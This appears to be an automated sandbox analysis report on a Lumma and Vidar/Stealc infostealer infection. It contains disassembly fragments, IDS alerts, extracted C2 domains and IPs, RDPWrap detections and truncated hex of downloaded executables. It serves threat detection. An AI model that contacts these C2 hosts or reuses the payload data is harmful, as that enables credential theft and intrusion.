Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [esi+01h], 00000000h 11_2_0040F807
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 68677325h 11_2_00447AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 11_2_00447AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+14h] 11_2_00447D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 2EE0190Fh 11_2_00447E1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov edi, esi 11_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h 11_2_0044B010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 11_2_00425030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then add ecx, dword ptr [esp+eax*4+30h] 11_2_0040C1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h 11_2_0044B1A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [eax], cx 11_2_00427230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 11_2_004452E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 11_2_004142E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah 11_2_0044B320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h] 11_2_00407450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 11_2_00412450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+08h] 11_2_00412450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+08h] 11_2_00412450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 11_2_00412450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx eax, word ptr [esi+ecx] 11_2_00442410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 11_2_0044B430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h 11_2_004314A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h 11_2_004404AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 11_2_0044A510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], cl 11_2_00435519
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_00433623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh 11_2_00449620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_00434629
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [esi+01h], 00000000h 11_2_0040F63A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [ebx], 00000000h 11_2_00414692
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+00000668h] 11_2_0041E71A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 77DD2217h 11_2_0041E71A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [esi+01h], 00000000h 11_2_0040F7E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+000001C8h] 11_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+00000198h] 11_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 11_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h 11_2_004408E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+14h] 11_2_00444970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+00000884h] 11_2_00429978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 11_2_00434990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_00434990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 11_2_00434990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 11_2_00420A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h 11_2_00440A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+10h] 11_2_0040FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edx, byte ptr [ecx+eax] 11_2_0040FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 11_2_0040FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], CECD21FDh 11_2_0042CAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], CECD21FDh 11_2_0042CAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 11_2_00421AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh 11_2_00444BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [esp], 00000000h 11_2_0041AB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 54CA534Eh 11_2_00448B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 11_2_00430CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edx, byte ptr [esi+ebx] 11_2_00405CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edx, byte ptr [esi+edi] 11_2_00404CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 11_2_00449D22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh 11_2_00445DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ecx, word ptr [edi+eax] 11_2_00448D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-18h] 11_2_0042FE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-14h] 11_2_0042FE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then add ebx, 02h 11_2_00413EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 11_2_00413EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then dec ebx 11_2_0043FE90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h 11_2_00426FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp dword ptr [004521ECh] 11_2_0041FFD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [esi+eax+01h], 00000000h 11_2_0042DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 11_2_0043BFF0

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2056177 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (wallkedsleeoi .shop in TLS SNI) : 192.168.2.6:57903 -> 172.67.194.216:443
Source: Network traffic Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.6:51828 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.6:50348 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.6:59417 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.6:51250 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.6:57908 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.6:57910 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.6:57906 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.6:57912 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2056176 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wallkedsleeoi .shop) : 192.168.2.6:59699 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.6:57904 -> 104.21.4.136:443
Source: Network traffic Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.6:63755 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.6:57914 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.6:62300 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.6:61967 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.6:57916 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.6:57917 -> 104.21.77.130:443
Source: Network traffic Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.6:60424 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.6:57915 -> 45.132.206.251:80
Source: Network traffic Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.6:57881 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.211.162:443 -> 192.168.2.6:57881
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.211.162:443 -> 192.168.2.6:57880
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57906 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57906 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57910 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57912 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57910 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57912 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57908 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57908 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57914 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57914 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57904 -> 104.21.4.136:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57917 -> 104.21.77.130:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57904 -> 104.21.4.136:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57917 -> 104.21.77.130:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57919 -> 172.67.128.144:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57919 -> 172.67.128.144:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57903 -> 172.67.194.216:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57903 -> 172.67.194.216:443
Source: Network traffic Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.211.162:443 -> 192.168.2.6:57930
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.211.162:443 -> 192.168.2.6:57929
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:57916 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:57916 -> 188.114.97.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: stogeneratmns.shop
Source: Malware configuration extractor URLs: offensivedzvju.shop
Source: Malware configuration extractor URLs: drawzhotdog.shop
Source: Malware configuration extractor URLs: vozmeatillu.shop
Source: Malware configuration extractor URLs: fragnantbui.shop
Source: Malware configuration extractor URLs: ghostreedmnu.shop
Source: Malware configuration extractor URLs: wallkedsleeoi.shop
Source: Malware configuration extractor URLs: reinforcenh.shop
Source: Malware configuration extractor URLs: gutterydhowi.shop
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199780418869
Yara detected RDPWrap Tool
Source: Yara match File source: 22.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.2818115100.0000000000450000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RDPWInst.exe PID: 5576, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.6:57922 -> 8.46.123.33:3389
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 26 Sep 2024 22:29:04 GMTContent-Type: application/octet-streamContent-Length: 385064Last-Modified: Thu, 26 Sep 2024 22:09:48 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f5dbac-5e028"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 db f5 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 b0 05 00 00 08 00 00 00 00 00 00 3e ce 05 00 00 20 00 00 00 e0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e8 cd 05 00 53 00 00 00 00 e0 05 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 ba 05 00 28 26 00 00 00 00 06 00 0c 00 00 00 b0 cc 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 ae 05 00 00 20 00 00 00 b0 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c8 05 00 00 00 e0 05 00 00 06 00 00 00 b2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 06 00 00 02 00 00 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ce 05 00 00 00 00 00 48 00 00 00 02 00 05 00 80 bc 05 00 30 10 00 00 03 00 02 00 12 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 79 1c 59 59 6c 14 76 5e 87 dc f4 35 66 85 48 24 b2 ce 02 9f f7 2f fa 57 cb 61 b6 7a 7a f0 df 35 4f 10 9b 37 1c cd 12 66 9e 17 53 d5 6c 5c f1 52 42 af 6b 08 35 e6 ea 8e 7f 45 71 7f 85 08 89 95 76 f5 df 0e a5 d6 fc 42 00 1a 12 66 8a 8c a2 0d cc d6 dd fd 9a b7 bc c6 39 76 02 fa f3 3b 28 cc 46 d9 81 20 0a 4a 2a b2 67 cc 69 96 ae 28 1e d1 d6 18 42 b3 42 cb 4d 9a 73 8f a0 c3 3c 0d c8 75 62 e5 20 1b 6c f5 5d b3 87 96 ab bd 51 67 83 b4 d5 5c c3 42 63 2a 84 b1 06 91 e4 24 95 19 a0 1f c7 f8 aa f8 66 56 47 5a 94 db 00 2e f4 cb 98 c5 a0 c0 c1 38 d1 da 99 e2 a3 9c 0e 6c 48 3b 21 f8 0a 17 22 ae e3 f0 fb 82 f0 70 98 55 4f 04 38 d7 59 22 c7 e2 fb f1 64 f2 d1 be 5c eb 0e a2 64 44 22 b3 73 6d 7d cb 63 23 15 3f e1 34 3f 13 f1 59 23 dc 04 b7 a4 e3 17 cb 30 bb 1b 1d ff 56 53 cd bd 1d 58 bb 10 7c 89 e7 0c c4 9d 47 16 2e cb 67 ac 3a 21 72 4d 5b 7e 1b 01 94 65 bf 42 70 d5 e0 62 7a a7 7b 84 1c 13 a4 60 35 1d cc f3 7
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 26 Sep 2024 22:29:07 GMTContent-Type: application/octet-streamContent-Length: 413224Last-Modified: Thu, 26 Sep 2024 22:09:34 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f5db9e-64e28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed da f5 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 1e 06 00 00 08 00 00 00 00 00 00 3e 3c 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e8 3b 06 00 53 00 00 00 00 40 06 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 28 06 00 28 26 00 00 00 60 06 00 0c 00 00 00 b0 3a 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 1c 06 00 00 20 00 00 00 1e 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c8 05 00 00 00 40 06 00 00 06 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 06 00 00 02 00 00 00 26 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 3c 06 00 00 00 00 00 48 00 00 00 02 00 05 00 80 2a 06 00 30 10 00 00 03 00 02 00 12 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa 88 91 bf 5e 83 38 3d 2e 1f 51 05 cf 88 76 20 41 c7 95 33 5b 52 f9 4a 2a f9 82 5f c1 c3 ff 82 66 8e 1a 39 be 5c 6c 9b f9 76 43 23 53 73 6e 42 7e af 45 c2 d5 7e e6 69 03 87 37 0a 7d 2b f1 56 fc 0f ec 23 c9 db 38 17 bf 66 d1 23 58 57 9c b5 06 ce 62 88 e7 bd 91 11 28 94 81 83 aa 92 c9 c2 8e d2 87 dd ec a8 98 87 c8 07 8b 3c 4f b6 ac bf ed bf 07 19 c0 31 1b 24 cc 3d 55 4e 38 dd 29 a8 19 4c 4c 7f 0c af ed 28 4b fe 03 12 d6 b5 2c 72 c8 ca d7 b3 ae c5 9b 25 39 15 4c 9f 59 0e 3d 30 c4 b5 89 54 34 83 26 8a bd 1f 9d 1e 64 ee d4 ba 2e 0a 28 55 17 81 d3 ce 92 27 3d 22 80 85 94 28 3e e0 64 98 7f 2b f2 0c 39 32 a5 1a ac 70 38 c5 31 9a 90 50 61 5c 71 b7 ee e5 d8 af 5d 58 96 2f 61 fc 40 30 43 ff 50 51 8c b9 d4 42 fc 07 ed 76 89 17 36 04 04 f7 d0 6c 65 32 07 b1 95 85 34 49 33 02 b4 02 02 ce d3 d2 50 a3 43 3a 11 09 b2 76 98 7d 89 51 c9 77 70 11 89 53 28 41 ec 51 67 16 27 16 0b 4e 09 04 5f 58 f5 6d 76 67 ba 1c d
